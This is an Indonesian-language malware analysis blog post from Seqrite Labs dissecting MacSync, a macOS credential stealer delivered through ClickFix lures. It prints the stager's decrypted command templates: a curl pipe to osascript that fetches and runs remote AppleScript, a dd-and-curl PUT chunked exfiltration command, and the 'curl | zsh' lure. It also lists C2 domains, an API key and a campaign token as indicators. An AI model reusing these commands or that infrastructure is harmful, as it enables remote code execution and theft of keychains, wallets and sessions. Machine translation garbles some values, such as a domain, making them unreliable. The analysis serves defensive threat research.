• Produk dan Layanan
        • awan

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BYOD
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • Di tempat

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • Platform

          • Malware Analysis Platform
        • Bisnis kecil

          • SOHO Total Edition
        • Layanan

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • Keamanan Siber & Data Privacy Kesadaran
  • Solusi
    • BFSI
    • Pendidikan
    • Pemerintah
    • Tenaga Kesehatan
    • ITeS
    • Manufaktur
  • Perusahaan
    • Tentang kami Seqrite
    • Kepemimpinan
    • Penghargaan & Sertifikasi
    • Ruang Berita
  • Partner
    • Program Mitra
    • Temukan Mitra
    • Menjadi Mitra
  • Bantuan
  • Publikasi
    • blog
    • Kertas putih
    • Lembaran Data
    • Studi Kasus
    • Laporan Ancaman
    • Manuals
    • PoV
    • Memahami Data Privacy
    • Periksa Skor Risiko Anda
    • Dialog DPDP
    • Jam Privasi
Seqrite Labs Blog
Hubungi Sales Sedang Diserang?
  • Produk dan Layanan
        • awan

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BYOD
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • Di tempat

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • Platform

          • Malware Analysis Platform
        • Bisnis kecil

          • SOHO Total Edition
        • Layanan

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • Keamanan Siber & Data Privacy Kesadaran
  • Solusi
    • BFSI
    • Pendidikan
    • Pemerintah
    • Tenaga Kesehatan
    • ITeS
    • Manufaktur
  • Perusahaan
    • Tentang kami Seqrite
    • Kepemimpinan
    • Penghargaan & Sertifikasi
    • Ruang Berita
  • Partner
    • Program Mitra
    • Temukan Mitra
    • Menjadi Mitra
  • Bantuan
  • Publikasi
    • blog
    • Kertas putih
    • Lembaran Data
    • Studi Kasus
    • Laporan Ancaman
    • Manuals
    • PoV
    • Memahami Data Privacy
    • Periksa Skor Risiko Anda
    • Dialog DPDP
    • Jam Privasi
Beranda  /  Teknis  / MacSync: Pencuri macOS yang Licik yang Memanfaatkan Jebakan ClickFix
MacSync: Pencuri macOS yang Licik dengan Memanfaatkan Jebakan ClickFix
08 September 2026

MacSync: Pencuri macOS yang Licik dengan Memanfaatkan Jebakan ClickFix

Ditulis oleh Chandra Kant Bauri
Chandra Kant Bauri
Teknis

Ringkasan Eksekutif

MacSync Stealer adalah serangkaian program pencuri informasi macOS dan penyedia akses jarak jauh yang dirancang untuk menghindari deteksi dan dijual secara komersial dengan model malware-as-a-service (MaaS).

Dalam rantai serangan, biner MacSync adalah stager asli dan mesin eksfiltrasi multi-bagian. Alih-alih pengumpul data mandiri, muatannya berupa program eksekusi Mach-O 64-bit ringan yang terlepas secara diam-diam dari sesi terminal, memuat modul pengumpul kredensial langsung ke memori, dan secara andal mengeksfiltrasi kredensial yang dicuri kembali ke infrastruktur kampanye.

MacSync terutama disampaikan melalui KlikPerbaiki rekayasa sosial dan iklan berbahaya di mesin pencari. Ia menggunakan strategi eksekusi modular dan bertingkat untuk melewati Apple Gatekeeper, XProtect, dan endpoint detection and response (EDR) alat-alat tersebut sambil tetap meminimalkan penggunaan ruang pada disk.

  1. Daemonisasi Sesi Tersembunyi: Saat dieksekusi, MacSync melepaskan diri dari sesi terminal pengendali menggunakan panggilan sistem POSIX fork() dan setsid(). Ia mengubah induknya ke PID 1 (launchd) dan mengarahkan stdin, stdout, dan stderr ke /dev/null sehingga pesan kesalahan dan output proses tidak muncul di konsol.
  2. Obfuskasi XOR Satu Byte Berbasis TemplateUntuk menghindari tanda tangan statis dan ekstraksi string otomatis, biner MacSync menyembunyikan string fungsional (termasuk titik akhir C2, argumen baris perintah, header API, dan jalur file sementara) menggunakan kelas templat C++ yang disisipkan (ObfuscatedString). Saat dijalankan, program biner tersebut mendekripsi string-string ini ke dalam buffer tumpukan lokal menggunakan XOR satu byte.
  3. Pipeline AppleScript Dinamis Dalam Memori: Stager ini menghindari penulisan skrip pengambilan kredensial ke disk. Sebagai gantinya, ia terhubung ke server C2 melalui HTTPS menggunakan header khusus (seperti api-key: dan token kampanye) dan mengirimkan respons langsung ke /usr/bin/osascript melalui stdin. Hal ini memungkinkan penyerang untuk memperbarui payload pencuri data di sisi server tanpa perlu mengkompilasi ulang biner klien.
  4. Eksfiltrasi Berkelompok dengan Toleransi Kesalahan 10 MB: Untuk mentransfer arsip curian berukuran besar (yang berisi brankas peramban, Keychain sistem, dan basis data dompet mata uang kripto), MacSync membagi file menjadi potongan-potongan berukuran 10 MB. MacSync mengekstrak setiap potongan menggunakan utilitas dd bawaan dan mengunggahnya secara berurutan melalui permintaan HTTP PUT, menggunakan penundaan eksponensial untuk mencoba kembali transfer yang gagal.
  5. Antiforensik Pembersih Otomatis: Program pengumpul data (stager) segera membersihkan file sementara di disk. Begitu server C2 mengembalikan respons HTTP 200 yang mengkonfirmasi unggahan bertahap, malware menghapus file status lokal (/tmp/.httpcode) dan arsip yang telah disiapkan (/tmp/osalogging.zip).                                                                                     

Asal Usul Pelaku Ancaman & Ekosistem Malware-as-a-Service (MaaS)

MacSync muncul pada tahun 2025, dengan pemberitaan publik yang mengaitkannya dengan Mac.C Stealer sebelumnya dan identitas pengembang "Mentalpositive." Threat intelligence melacak MacSync sebagai operasi Malware-as-a-Service (MaaS), yang menyediakan malware dan infrastruktur pendukung kepada penjahat siber lainnya.

Bukti menunjukkan pemisahan yang jelas antara pengembangan malware dan operasi kampanye. Build MacSync sering kali menyertakan pengidentifikasi khusus penyebaran, sementara kampanye bergantung pada pengaturan pengiriman yang dikelola secara independen dan infrastruktur backend yang berputar. CIS mengidentifikasi tag build s3 yang terkait dengan build afiliasi, dan Microsoft kemudian mengkorelasikan lebih dari 30 domain berdasarkan jalur URI yang berulang, karakteristik permintaan, header kunci API, dan perilaku eksfiltrasi.

Penyebaran MacSync terutama bergantung pada rekayasa sosial daripada eksploitasi perangkat lunak. Kampanye ini menyebarkan malware melalui iklan berbahaya (malvertising), peracunan SEO, situs web yang disusupi, penginstal perangkat lunak dan AI palsu, serta halaman ClickFix yang memperdaya korban untuk menjalankan perintah di Terminal.

Meskipun penelitian publik telah mengidentifikasi artefak pengembangan berbahasa Rusia di beberapa sampel MacSync, penanda ini tidak cukup untuk mengaitkan malware tersebut dengan pelaku ancaman atau sindikat kriminal tertentu.

Infrastruktur terkait mengikuti pola perilaku tertentu yang akan tetap berlaku terlepas dari rotasi domain. Perilaku yang ditunjukkan oleh sampel dan loader MacSync mencakup permintaan C2 yang dibuat ke /dynamic?txd= dengan kunci API yang diatur di header serta pengumpulan data yang dilakukan secara lokal sebelum diunggah melalui /gate?buildtxd= dengan parameter upload_id, chunk_index, dan total_chunks.

Kampanye afiliasi: Pengiriman ClickFix

MacSync sering disebarkan melalui kampanye ClickFix yang menargetkan pengguna macOS. Alih-alih mengeksploitasi kerentanan perangkat lunak, serangan ini mengandalkan rekayasa sosial untuk menipu korban agar menyalin dan menjalankan perintah di Terminal dengan kedok penginstal perangkat lunak, pemeriksaan CAPTCHA, kesalahan unduhan, atau petunjuk pemecahan masalah.

Meskipun laporan publik menggambarkan berbagai kampanye MacSync ClickFix dengan umpan, pengaturan pengiriman, dan muatan yang berubah-ubah, bukti saat ini tidak menunjukkan bahwa semuanya berasal dari pelaku ancaman yang sama atau bahwa infrastruktur MacSync beroperasi langsung di bawah ClearFake.

ClearFake / Jaringan Distribusi Lalu Lintas (TDS)

Para afiliasi menyebarkan Sistem Distribusi Lalu Lintas (TDS), seperti Keitaro TDS, di seluruh situs web dan jaringan iklan yang disusupi untuk mengarahkan pengunjung berdasarkan sistem operasi mereka. Dengan memeriksa User-Agent browser, TDS mengarahkan pengunjung Windows ke rantai yang mendistribusikan LummaC2 , Stealc , atau Vidar , sementara mengirim pengunjung macOS ke saluran infeksi MacSync ClickFix.

Jebakan Rekayasa Sosial & Peniruan Merek

Kampanye MacSync meniru alat produktivitas, perpesanan, dan pengembangan perangkat lunak populer untuk menargetkan para profesional:

Merek/Tema yang Ditiru Skenario Umpan yang Menipu Target Demografi
Google Meet / Zoom “Kesalahan Mikrofon/Audio: Klik Perbaiki untuk memperbaiki driver audio macOS Anda.” Pekerja jarak jauh perusahaan, kandidat pekerjaan yang menjadi korban penipuan wawancara.
Claude AI / ChatGPT “Unduh Claude AI Desktop untuk macOS / Perbaiki Koneksi WebSocket.” Insinyur perangkat lunak, peneliti AI, ilmuwan data
Cloudflare / Pintu Putar “Verifikasi bahwa Anda manusia: Buka Terminal dan tempelkan kode verifikasi.” Lalu lintas web umum, pedagang kripto, pengguna forum
Docker / Notion / Kursor Iklan Pencarian Google yang diracuni menawarkan penginstal desktop asli palsu. Pengembang perangkat lunak, insinyur DevOps, pemimpin teknologi
TradingView / Aplikasi Kripto “Perbarui mesin grafik Anda untuk melihat data pasar secara real-time.” Pedagang kripto kelas atas, investor DeFi

 

Telemetri Geografis Global & Dampak Industri

Telemetri Geografis

Threat intelLaporan uji tuntas menunjukkan bahwa kampanye MacSync terutama menargetkan wilayah dengan penggunaan macOS yang luas di perusahaan, sektor teknologi dan pengembangan perangkat lunak, serta komunitas mata uang kripto atau Web3 yang aktif. Data telemetri Agustus 2026 menunjukkan Amerika Serikat menyumbang bagian terbesar dari deteksi, diikuti oleh Inggris Raya, Jerman, Jepang, Kanada, Prancis, Singapura, Australia, India, dan Belanda serta negara-negara Nordik.

Gambar 1: Distribusi geografis macsync

Sektor Industri yang Ditargetkan

Sektor industri Peran Target Utama Aset Bernilai Tinggi Vektor Ancaman / Umpan Dampak Operasional
Rekayasa Perangkat Lunak & Perusahaan Rintisan Teknologi Pengembang Full-Stack, Insinyur DevOps, Peneliti AI Kunci privat SSH, token AWS/GCP, kredensial GitHub/GitLab, file .env Iklan berbahaya yang menyamar sebagai Claude AI, Cursor IDE, Docker Desktop, Notion Pengambilalihan cloud, pencurian kode sumber, kompromi rantai pasokan
Mata uang kripto & Web3 Pengembang Blockchain, Pedagang DeFi, Anggota DAO, Manajer Dana Data vault MetaMask, Phantom, Coinbase, TronLink; file dompet Exodus/Electrum Tautan rapat Web3 palsu, jebakan pembaruan TradingView Pengurasan dompet, transfer token tanpa izin, pencurian kunci kontrak pintar
Tenaga Kerja Jarak Jauh Perusahaan Jajaran Manajemen Puncak, SDM, Penjualan & Pemasaran Data Keychain macOS, token Slack/Discord, sesi Google Workspace/Okta Perbaikan mikrofon atau kamera palsu Google Meet/Zoom Pembajakan identitas, penyalahgunaan cookie sesi, pengalihan jaringan internal.
Kontraktor Pemerintah & Pertahanan Staf dan kontraktor SLTT Kredensial portal pemerintah, profil VPN, kredensial karyawan Iklan berbahaya di mesin pencari, situs web pemerintah daerah yang diretas Akses pemerintah kota tanpa izin, terungkapnya data warga yang sensitif.
Fintech dan Layanan Keuangan Analis Keuangan, Pedagang Kuantitatif, Akuntan Token sesi perbankan, kredensial akuntansi, data kartu pembayaran Aplikasi pembaca faktur palsu, "perbaikan" rendering PDF Penipuan keuangan, transfer dana perusahaan tanpa izin

Rantai Serangan MacSync

Gambar 2: Rantai serangan
  1. Infeksi Awal (Trik ClickFix): Para pembuat malware menggunakan iklan berbahaya (malvertising) di mesin pencari tempat korban mencari perangkat lunak tertentu. Mereka kemudian diarahkan ke halaman web berbahaya (seperti halaman web palsu). Claude AI obrolan, Pembaruan Keamanan Apple, Penginstal Dompet Kripto), yang menampilkan pesan kesalahan yang meminta korban untuk menjalankan perintah di jendela Terminal (curl -s … | zsh).
  2. Tahap 1 (Skrip Pembungkus Shell): Skrip berbahaya tersebut berjalan di lingkungan Terminal dan langsung meluncurkan proses latar belakang.
  3. Tahap 2 (Muatan Base64): Skrip pembungkus mendekompilasi muatan latar belakang (daemon_function) yang mengeksekusi stager biner Mach-O asli (sampel kami: com.utils.Launcher).
  4. Tahap 3 (Pencuri AppleScript Dinamis): Program biner tersebut melakukan kueri ke /dynamic?txd=… pada server C2 dengan header khusus (api-key: de62a2f4…) dan langsung mengirimkannya ke osascript. AppleScript tersebut meminta kata sandi sistem pengguna, mencuri semua data keychain, dan membuang basis data, cookie sesi, kunci SSH, sesi Telegram, dan dompet kripto ke /tmp/osalogging.zip.
  5. Tahap 4 (RAT dengan Ketekunan): Payload tersebut mengeksekusi RAT Mach-O lain yang terus beroperasi menggunakan direktori ~/Library/LaunchAgents/ dengan mengubah namanya menjadi com.google.keystone.plist atau com.apple.sync.plist.
  6. Tahap 5 (Pembantu TCC): Menggunakan program pembantu yang ditandatangani secara ad-hoc untuk meminta dan mendapatkan izin untuk Perekaman Layar macOS.
  7. Tahap 6 (Ekfiltrasi dan Pembuangan Artefak): Program Mach-O ini mendeteksi keberadaan /tmp/osalogging.zip, memecahnya menjadi beberapa bagian. 10 MB (0xA00000 byte) menggunakan dd, mengirim data menggunakan HTTP PUT ke /gerbang?banguntxd=…, dan menghapus /tmp/osalogging.zip ke /tmp/.httpcode.

Alur Eksekusi Biner

Gambar di bawah ini memetakan siklus hidup runtime lengkap dari biner stager MacSync, mulai dari eksekusi awal hingga pembersihan artefak akhir.

Gambar 3: Alur arsitektur stager MacSync Mach-O

Identifikasi File & Metadata Statis

Gambar 4: Output terminal otool yang menunjukkan Header dan Load Mach-O 64-bit

Properti File Statis

Atribut Nilai Statis Catatan
File Name 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 Penamaan Hash SHA-256
File Format File eksekusi Mach-O 64-bit x86_64 Biner Tipis (Arsitektur Tunggal)
Sihir Mach-O 0xFEEDFACF (MH_MAGIC_64) Header Mach-O 64-bit
Tipe/Subtipe CPU CPU_TYPE_X86_64 (0x01000007) / ALL (0x00000003) Arsitektur Intel 64-bit
Ukuran file 38,800 byte 0x9790 byte
MD5 9678f71ea4cccbc3d511dc8d7f24b113 Hash Kriptografis
SHA-1 59508d071661ea70fa5fcbe6f9e2fb72506e57df Hash Kriptografis
SHA-256 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 Hash Sampel Utama
Bendera Kompilasi PIE, TWOLEVEL, BINDS_TO_WEAK, WEAK_DEFINES, NOUNDEFS Dapat Dieksekusi Secara Independen Posisi
Alamat Titik Masuk 0x100000e30 (_main) Bagian __TEKS.__teks

Detail Penandatanganan Kode

Gambar 5: Keluaran terminal dari utilitas codesign yang mengungkapkan penandatanganan ad-hoc, status tidak dinotarisasi, dan pengenal utilitas palsu.
Atribut Nilai Catatan
Status Tanda Tangan Ad-hoc ditandatangani (bendera=0x2(adhoc)) Tidak ada tanda tangan ID Pengembang yang dikeluarkan oleh Apple.
Pengidentifikasi Penandatanganan com.utils.Launcher Pengidentifikasi penandatanganan kode tertanam
CDHash d182eb7cba0ffa42d770d7b0d3499e49f24163a2 Hash Direktori Kode
CMSDigest d182eb7cba0ffa42d770d7b0d3499e49f24163a2662494ae615713c5f04b5260 Ringkasan penandatanganan kode
Pengenal Tim tidak diatur Tidak ada ID Tim Pengembang Apple; menunjukkan penandatanganan ad-hoc.

Pengaburan String & Pemulihan Kunci

Rekayasa Balik Mesin Kriptografi

Analisis string statis yang dilakukan pada biner mentah tidak menemukan URL, jalur file, atau referensi perintah secara jelas. Referensi ke _main menghasilkan 19 referensi ke kelas templat C++:

Atribut Nilai
Simbol yang Rusak __ZNK16StringILm yang Dikaburkan…EE7decryptEv
Simbol yang Terurai String yang Disamarkan ::dekripsi() konstan
Rentang Alamat 0x100002350 - 0x100002740
Gambar 6: Dekompilasi IL tingkat tinggi dari templat dekripsi string C++ menggunakan kunci XOR satu byte 0xAA.

Kunci XOR satu byte teridentifikasi: 0xAA (Desimal: 170, Biner: 10101010).

Gambar 7: Konstanta mentah yang dienkripsi XOR yang disimpan di dalam segmen __TEXT.__const.

Untuk mendekripsi semua string byte terenkripsi tanpa mengetahui teks asli terlebih dahulu, skrip mandiri berikut dijalankan:

Gambar 8: program dekripsi

Output program dekripsi

Gambar 9: Keluaran dari alat dekripsi Python otomatis yang mengungkapkan semua jalur dan perintah C2 yang dienkripsi XOR 0xAA.

Dekripsi String XOR dan Tata Letak Penyimpanan & Tata Letak Penyimpanan

Operasi XOR Perangkat Keras (/tmp/.httpcode)

Tabel berikut menunjukkan operasi aktual yang terjadi di dalam register CPU ecx (xor ecx, 0xaa) untuk jalur file status di 0x100002a2e

Byte # Heks Terenkripsi Tombol XOR Heksadesimal yang Didekripsi Karakter
0 0x85 0xAA 0x2F /
1 0xDE 0xAA 0x74 t
2 0xC7 0xAA 0x6D m
3 0xDA 0xAA 0x70 p
4 0x85 0xAA 0x2F /
5 0x84 0xAA 0x2E .
6 0xC2 0xAA 0x68 h
7 0xDE 0xAA 0x74 t
8 0xDE 0xAA 0x74 t
9 0xDA 0xAA 0x70 p
10 0xC9 0xAA 0x63 c
11 0xC5 0xAA 0x6F o
12 0xCE 0xAA 0x64 d
13 0xCF 0xAA 0x65 e
14 0xAA 0xAA 0x00 \0

 

Jalur /tmp/osalogging.zip dibangun melalui literal tumpukan dan dekripsi XOR.

Rekayasa Balik _utama – Tata Letak Memori & Daemonisasi

Konstruksi URL / Persiapan Endpoint Sampel memuat beberapa fragmen string terkait URL (misalnya https, http, asia., usa.) ke dalam variabel tumpukan lokal. Kemudian mengalokasikan buffer lokal 128 byte untuk membangun string tersebut. Kehadiran fragmen domain regional dan skema HTTP(S) menyiratkan bahwa endpoint jaringan dibangun atau dipilih saat runtime, yang membatasi visibilitas URL lengkap dalam analisis statis.

Gambar 10: beberapa string URL

Daemonisasi Proses & Penyamaran Aliran (0x100000e30 – 0x100000f54)

Gambar 11: percabangan proses, penghentian proses induk, pembuatan sesi, dan penyembunyian aliran data.
  1. Eksekusi _Fork() (0x100000e69): Proses induk selesai dengan bersih dengan mengembalikan 0. Proses tersebut langsung keluar dan mengembalikan kendali ke terminal. Pada saat itu, proses anak dialihkan ke launchd yang berjalan dengan PID 1.
  2. _Setsid() Pembuatan Sesi (0x100000eb7): Proses anak melepaskan diri dari terminal pengendali. Langkah ini memastikan proses tersebut tidak lagi terikat pada sesi apa pun.
  3. Penekanan Aliran (0x100000efe – 0x100000f48): Proses anak mengalihkan input, output standar, dan kesalahan standarnya ke /dev/null. Ini dilakukan menggunakan tiga panggilan ke _freopen(). Setiap panggilan menangani salah satu aliran, secara efektif membisukan aktivitas output atau input apa pun.

Rekayasa Balik _main – Polling C2 Dinamis & AppleScript Dalam Memori

Dekompilasi IL Tingkat Tinggi Ninja Biner Mentah (0x100001070 – 0x100001300)

Gambar 12: menampilkan loop polling C2 dinamis dan eksekusi dalam memori melalui osascript.            
  • 0xc8 dalam bahasa assembly adalah desimal 200 (HTTP 200 OK).
  • sub_100001e20() menyimpan templat perintah yang telah didekripsi: curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript.
  • AppleScript dialirkan langsung dari curl ke osascript tanpa file skrip perantara; skrip tersebut langsung dialirkan dari curl ke biner /usr/bin/osascript milik Apple melalui input standar.

Atribut Konfigurasi Statis:

Atribut Nilai
Token Kampanye (txd) c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0
Token Otentikasi Gerbang api-key: de62a2f47d1c7dec2997f931a050a615
Inang Utama mengemudiuber.com
Host Cadangan newsinweb.com
Awalan Regional Asia. / Amerika Serikat.

Alur Kerja Pipeline Eksekusi

  1. Pemeriksaan Kesehatan Primer (drivinguber.com):
Gambar 13: pemeriksaan kesehatan (drivinguber)
  1. Evaluasi Status: Membaca /tmp/.httpcode melalui _fscanf(“%d”, &code) dan menghapus tautan /tmp/.httpcode.
  2. Eksekusi Pipa Dalam Memori (0x10000128e): Jika kode == 200 (0xC8), maka akan diformat dan dijalankan:
Gambar 14: Eksekusi osascript dalam memori
  1. Rotasi Cadangan: Jika yang utama gagal, akan berulang melalui [https, http] [asia., usa.] dengan basis newsinweb.com.

Mesin Chunking 10MB & ABI Sistem V

Gambar 15: Tampilan HLIL yang menampilkan verifikasi statistik, pembagian batas atas 10MB, dan pembuatan token ID sesi.
  1. Verifikasi Target: Memanggil _stat$INODE64(“/tmp/osalogging.zip” &stat_buf). Jika file tidak ada atau ukurannya nol, maka akan berakhir dengan benar (mengembalikan 0).
  2. Matematika Pembagian Pembulatan Ke Atas Bilangan Bulat:Jumlah Chunk Total sama dengan pembulatan ke bawah dari (ukuran_file ditambah 0x9FFFFF dibagi 0xA00000) (Ukuran chunk tetap adalah 0xA00000 yaitu 10,485,760 byte atau 10 MB).
  3. Pengidentifikasi Sesi: Dibuat menggunakan snprintf(upload_id, 0x40 “%ld-%08x” time(NULL) rand()).

Algoritma Percobaan Ulang Backoff Adaptif

Gambar 16: Peningkatan penghitung loop percobaan ulang dan perhitungan penundaan tidur (percobaan ulang 2 + 3).

Percobaan ulang hingga 8 kali dengan penundaan adaptif: Penundaan = (indeks_percobaan_ulang × 2) + 3 detik (5s, 7s, 9s, 11s, 13s, 15s, 17s, 19s)

Perintah Shell yang Dieksekusi melalui _system()

# Operasi Templat Format Terenkripsi Tujuan
1 Pemeriksaan Kesehatan C2 curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” -o /dev/null -w “%%{http_code}” > %s 2>/dev/null Memeriksa ketersediaan C2 dan menyimpan kode status HTTP di /tmp/.httpcode.
2 Tahap 3 In-Memory Stager curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript Mengunduh pencuri AppleScript jarak jauh dan mengeksekusinya melalui osascript.
3 Eksfiltrasi Bertahap Tahap 6 dd if=%s bs=1 skip=%ld count=%ld 2>/dev/null | curl -k -s -X PUT –data-binary @- … Membagi file /tmp/osalogging.zip menjadi beberapa bagian berukuran 10 MB dan mengunggah setiap bagian melalui HTTP PUT.

Operasi Proses & File POSIX Asli

# Jenis Operasi Panggilan API Asli target Tujuan Operasional
6 Proses Garpu _garpu() N / A Proses induk segera keluar untuk melepaskan diri dari terminal.
7 Sesi Lepas _setsid() N / A Membuat sesi terpisah baru; proses anak menjadi daemon independen.
8 Penyamaran Aliran _freopen(“/dev/null”, “r”, *___stdinp) / dev / null Mematikan input standar.
9 Penyamaran Aliran _freopen(“/dev/null”, “w”, *___stdoutp) / dev / null Menonaktifkan output standar dari curl dan osascript.
10 Penyamaran Aliran _freopen(“/dev/null”, “w”, *___stderrp) / dev / null Menonaktifkan error standar untuk mencegah peringatan terminal.
11 Verifikasi Berkas _stat$INODE64(“/tmp/osalogging.zip”, &stat_buf) /tmp/osalogging.zip Memverifikasi keberadaan dan ukuran arsip data yang telah dikumpulkan sebelum diunggah.
12 Pembersihan Status _unlink(“/tmp/.httpcode”) /tmp/.httpcode Menghapus file kode status HTTP sementara setelah evaluasi.
13 Pembersihan Arsip Barang Jarahan _hapus(“/tmp/osalogging.zip”) /tmp/osalogging.zip Menghapus arsip ZIP data curian setelah eksfiltrasi berhasil.

Indikator Kompromi (IOC)

Indikator Inang

Jenis Indikator Nilai Deskripsi
SHA-256 Hash 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 Biner Stager Mach-O Asli
Hashing MD5 9678f71ea4cccbc3d511dc8d7f24b113 Biner Stager Mach-O Asli
SHA-1 Hash 59508d071661ea70fa5fcbe6f9e2fb72506e57df Biner Stager Mach-O Asli
ID Penandatanganan Kode com.utils.Launcher Pengidentifikasi bundel tanda tangan ad-hoc
CDHash d182eb7cba0ffa42d770d7b0d3499e49f24163a2 Direktori Kode Hash
Arsip yang Dipentaskan /tmp/osalogging.zip Arsip panen yang berisi data curian
Berkas Status /tmp/.httpcode Berkas kode respons HTTP sementara

 

Indikator Jaringan

Jenis Indikator Nilai Deskripsi
Domain C2 (Primer) mengemudiuber.com Server C2 Tahap Utama 3 / Tahap 6
Domain C2 (Cadangan) asia.newsinweb.com Titik akhir C2 wilayah Asia cadangan
Domain C2 (Cadangan) usa.newsinweb.com Titik akhir C2 wilayah AS cadangan
Domain Akar C2 newsinweb.com Domain root cadangan
URI (Unduh) /dynamic?txd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 Gerbang muatan AppleScript dinamis
URI (Unggah) /gate?buildtxd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 Gerbang unggah biner PUT terpotong 10 MB
Header Permintaan HTTP api-key: de62a2f47d1c7dec2997f931a050a615 Token otentikasi kampanye
Agen Pengguna HTTP Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36 User-Agent klien yang dipalsukan

Pemetaan MITRE ATT&CK

Taktik ID Teknik Teknik Implementasi MacSync
Akses Awal T1204.002 Eksekusi Pengguna Trik ClickFix mengelabui pengguna agar menjalankan perintah Terminal yang disamarkan.
Execution T1059.002 AppleScript Menjalankan payload AppleScript jarak jauh melalui /usr/bin/osascript.
Execution T1059.004 Unix Shell Menjalankan perintah /bin/sh.
Ketekunan T1543.001 Agen Peluncuran Menginstal file .plist berbahaya di ~/Library/LaunchAgents/.
Penghindaran Pertahanan T1027 Obfuscation XOR 0xAA menyembunyikan string dan URL.
Penghindaran Pertahanan T1564.001 Hidden File Menggunakan file dengan awalan titik untuk data sementara.
Penghindaran Pertahanan T1070.004 Penghapusan File Menghapus file sementara setelah pengunggahan data.
Penghindaran Pertahanan T1036.005 Menyamar Menggunakan com.utils.Launcher agar menyerupai komponen yang sah.
Penghindaran Pertahanan T1562.001 Merusak Pertahanan Mengalihkan stdin, stdout, dan stderr ke /dev/null.
Akses Kredensial T1555.001 keychain Menggunakan security dump-keychain untuk mengakses kredensial yang tersimpan.
Akses Kredensial T1539 Cookie Sesi Web Menargetkan basis data cookie browser untuk pencurian sesi.
Akses Kredensial T1552.004 Kunci Pribadi Mengumpulkan kunci SSH dan kredensial AWS.
penemuan T1082 Sistem Informasi Mengumpulkan versi macOS, UUID perangkat keras, dan arsitektur CPU.
Koleksi T1560.001 Arsipkan Data yang Dikumpulkan Mengarsipkan data curian ke dalam /tmp/osalogging.zip.
Komando & Kontrol T1071.001 Protokol Web Berkomunikasi dengan C2 melalui HTTPS/443.
Komando & Kontrol T1105 Transfer Alat Masuk Mengunduh modul AppleScript tahap kedua.
exfiltration T1030 Batasan Ukuran Transfer Data Membagi arsip menjadi bagian-bagian berukuran 10 MB.
exfiltration T1048.003 Protokol Alternatif Mengunggah potongan data biner melalui permintaan HTTP PUT.

Penulis:

Chandrakant Bauri

 Sebelumnya PosApa Itu Perlindungan Privasi dan Mengapa Penting bagi Bisnis...?
Posting berikutnya  Apa yang Terbaik? Digital Risk Protection Services di 2026
Chandra Kant Bauri

Tentang Chandra Kant Bauri

...

Artikel karya Chandra Kant Bauri »

Pos terkait

  • CVE-2026-3854: Bagaimana Opsi Git Push Menjadi Kerentanan Injeksi Metadata Internal

    Oktober 6, 2026
  • Di Balik DragonForce: Bagaimana Muatan Ransomware Sebenarnya Berjalan

    Oktober 1, 2026
  • Operasi QUICSILVER: Aktor yang Berhubungan dengan China Menargetkan Diplomat Myanmar melalui Backdoor Go yang Dikirim Melalui VHD

    17 Agustus 2026
Penulis Unggulan
  • Seqrite
    Seqrite

    Seqrite adalah penyedia solusi keamanan siber perusahaan terkemuka. Dengan fokus pada...

    Baca artikel lebih menurut Seqrite
  • Bineesh P
    Bineesh P

    Saya seorang penggemar keamanan siber yang bersemangat dan penulis yang berdedikasi. Dengan bakat...

    Baca artikel lainnya oleh Bineesh P.
  • Jyoti Karlekar
    Jyoti Karlekar

    Saya seorang penulis yang gemar membuat konten tentang teknologi baru dan...

    Baca lebih banyak artikel oleh Jyoti Karlekar
  • Sanjay Katkar
    Sanjay Katkar

    Sanjay Katkar adalah Direktur Pelaksana Bersama Quick Heal Technologies...

    Baca artikel lainnya oleh Sanjay Katkar
Topik
tepat (25) Serangan dunia maya (36) serangan cyber (58) cyberattack (16) cyberattacks (15) Keamanan cyber (344) keamanan cyber (34) Ancaman dunia maya (33) ancaman cyber (51) Data pelanggaran (56) pelanggaran data (29) kehilangan data (28) pencegahan kehilangan data (34) data privacy (17) perlindungan data (35) keamanan data (19) DLP (50) DPDP (14) DPDPA (17) enkripsi (16) keamanan endpoint (113) Keamanan perusahaan (20) Mengeksploitasi (13) GDPR (14) malware (76) analisis malware (15) serangan malware (23) MDM (27) Microsoft (15) MITRE ATT & CK (14) Keamanan jaringan (26) Phishing (30) ransomware (69) serangan ransomware (31) serangan ransomware (31) perlindungan ransomware (17) Seqrite (41) Seqrite enkripsi (27) Seqrite EPS (33) Seqrite Layanan (16) deteksi ancaman (15) Intelijen Ancaman (26) UTM (34) Kerentanan (16) nol kepercayaan (13)
Seqrite Labs

Penyedia solusi keamanan TI perusahaan terkemuka yang menyederhanakan keamanan titik akhir, data, dan jaringan dengan solusi pencegahan, deteksi, dan respons ancaman terbaik di kelasnya di seluruh dunia.

Baca Lebih Lanjut Tentang Seqrite

Follow us:

Berlangganan newsletter kami

Tetap terinformasi tentang tren dan wawasan keamanan siber terkini.

pemuatan
Produk dan Layanan
  • awan
  • Endpoint Protection
  • Endpoint Detection and Response
  • Mobile Device Management
  • BYOD
  • Extended Detection and Response
  • Zero Trust Network Access
  • Data Privacy
  • Di tempat
  • Endpoint Protection
  • Endpoint Detection and Response
  • Data Privacy
  • Platform
  • Malware Analysis Platform
  • Bisnis Mikro
  • SOHO Total Edition
  • Layanan
  • Threat Intel
